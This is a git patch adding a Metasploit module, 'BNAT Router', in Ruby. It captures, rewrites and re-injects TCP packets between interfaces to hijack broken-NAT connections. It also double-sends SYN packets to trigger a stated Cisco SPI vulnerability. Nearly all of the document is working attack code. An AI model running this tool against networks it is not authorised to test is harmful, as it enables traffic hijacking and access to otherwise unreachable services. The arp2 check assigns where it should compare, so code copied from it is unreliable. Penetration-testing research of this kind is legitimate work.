From 98d474c8753a214ce6386f10271b3650ad3220f7 Mon Sep 17 00:00:00 2001 From: David Rude Date: Sun, 21 Aug 2011 23:40:09 +0000 Subject: [PATCH] Add BNAT Router module to properly establish and route connections to BNAT implementations git-svn-id: file:///home/svn/framework3/trunk@13606 4d416f70-5f16-0410-b530-b9f4589650da --- modules/auxiliary/bnat/bnat_router.rb | 155 ++++++++++++++++++++++++++ 1 file changed, 155 insertions(+) create mode 100644 modules/auxiliary/bnat/bnat_router.rb diff --git a/modules/auxiliary/bnat/bnat_router.rb b/modules/auxiliary/bnat/bnat_router.rb new file mode 100644 index 0000000000..b003460d2d --- /dev/null +++ b/modules/auxiliary/bnat/bnat_router.rb @@ -0,0 +1,155 @@ +### +# $Id$ +### + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + def initialize + super( + 'Name' => 'BNAT Router', + 'Version' => '$Revision$', + 'Description' => %q{ + This module will properly route BNAT traffic and allow for connections to be + established to machines on ports which might not otherwise be accessible.}, + 'Author' => + [ + 'bannedit', + 'Jonathan Claudius', + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://github.com/claudijd/BNAT-Suite'], + [ 'URL', 'http://www.slideshare.net/claudijd/dc-skytalk-bnat-hijacking-repairing-broken-communication-channels'], + ] + ) + register_options( + [ + OptString.new('OUTINF', [true, 'The external interface connected to the internet', 'eth1']), + OptString.new('ININF', [true, 'The internal interface connected to the network', 'eth2']), + OptString.new('CLIENTIP', [true, 'The ip of the client behing the BNAT router', '192.168.3.2']), + OptString.new('SERVERIP', [true, 'The ip of the server you are targeting', '1.1.2.1']), + OptString.new('BNATIP', [true, 'The ip of the bnat response you are getting', '1.1.2.2']), + ],self.class) + end + + def run + clientip = datastore['CLIENTIP'] + serverip = datastore['SERVERIP'] + bnatip = datastore['BNATIP'] + outint = datastore['OUTINF'] + inint = datastore['ININF'] + + clientmac = arp2(clientip,inint) + print_line("Obtained Client MAC: #{clientmac}") + servermac = arp2(serverip,outint) + print_line("Obtained Server MAC: #{servermac}") + bnatmac = arp2(bnatip,outint) + print_line("Obtained BNAT MAC: #{bnatmac}\n\n") + + #Create Interface Specific Configs + outconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{outint}").config + inconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{inint}").config + + #Set Captures for Traffic coming from Outside and from Inside respectively + outpcap = PacketFu::Capture.new( :iface => "#{outint}", :start => true, :filter => "tcp and src #{bnatip}" ) + print_line("Now listening on #{outint}...") + + inpcap = PacketFu::Capture.new( :iface => "#{inint}", :start => true, :filter => "tcp and src #{clientip} and dst #{serverip}" ) + print_line("Now listening on #{inint}...\n\n") + + #Start Thread from Outside Processing + fromout = Thread.new do + loop do + outpcap.stream.each do |pkt| + packet = PacketFu::Packet.parse(pkt) + + #Build a shell packet that will never hit the wire as a hack to get desired mac's + shell_pkt = PacketFu::TCPPacket.new(:config => inconfig, :timeout => 0.1, :flavor => "Windows") + shell_pkt.ip_daddr = clientip + shell_pkt.recalc + + #Mangle Received Packet and Drop on the Wire + packet.ip_saddr = serverip + packet.ip_daddr = clientip + packet.eth_saddr = shell_pkt.eth_saddr + packet.eth_daddr = clientmac + packet.recalc + inj = PacketFu::Inject.new( :iface => "#{inint}", :config => inconfig ) + inj.a2w(:array => [packet.to_s]) + print_status("inpacket processed") + end + end + end + + #Start Thread from Inside Processing + fromin = Thread.new do + loop do + inpcap.stream.each do |pkt| + packet = PacketFu::Packet.parse(pkt) + + if packet.tcp_flags.syn == 1 && packet.tcp_flags.ack == 0 + packet.ip_daddr = serverip + packet.eth_daddr = servermac + else + packet.ip_daddr = bnatip + packet.eth_daddr = bnatmac + end + + #Build a shell packet that will never hit the wire as a hack to get desired mac's + shell_pkt = PacketFu::TCPPacket.new(:config=>outconfig, :timeout=> 0.1, :flavor=>"Windows") + shell_pkt.ip_daddr = serverip + shell_pkt.recalc + + #Mangle Received Packet and Drop on the Wire + packet.eth_saddr = shell_pkt.eth_saddr + packet.ip_saddr=shell_pkt.ip_saddr + packet.recalc + inj = PacketFu::Inject.new( :iface => "#{outint}", :config =>outconfig ) + inj.a2w(:array => [packet.to_s]) + + #Trigger Cisco SPI Vulnerability by Double-tapping the SYN + if packet.tcp_flags.syn == 1 && packet.tcp_flags.ack == 0 + select(nil, nil, nil, 0.75) + inj.a2w(:array => [packet.to_s]) + end + print_status("outpacket processed") + end + end + end + fromout.join + fromin.join + end + + def arp2(target_ip,int) + config = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{int}").config + arp_pkt = PacketFu::ARPPacket.new(:flavor => "Windows") + arp_pkt.eth_saddr = arp_pkt.arp_saddr_mac = config[:eth_saddr] + arp_pkt.eth_daddr = "ff:ff:ff:ff:ff:ff" + arp_pkt.arp_daddr_mac = "00:00:00:00:00:00" + arp_pkt.arp_saddr_ip = config[:ip_saddr] + arp_pkt.arp_daddr_ip = target_ip + cap = PacketFu::Capture.new(:iface => config[:iface], :start => true, :filter => "arp src #{target_ip} and ether dst #{arp_pkt.eth_saddr}") + injarp = PacketFu::Inject.new(:iface => config[:iface]) + injarp.a2w(:array => [arp_pkt.to_s]) + target_mac = nil + + while target_mac.nil? + if cap.save > 0 + arp_response = PacketFu::Packet.parse(cap.array[0]) + target_mac = arp_response.arp_saddr_mac if arp_response.arp_saddr_ip = target_ip + end + select(nil, nil, nil, 0.1) # Check for a response ten times per second. + end + return target_mac + end +end \ No newline at end of file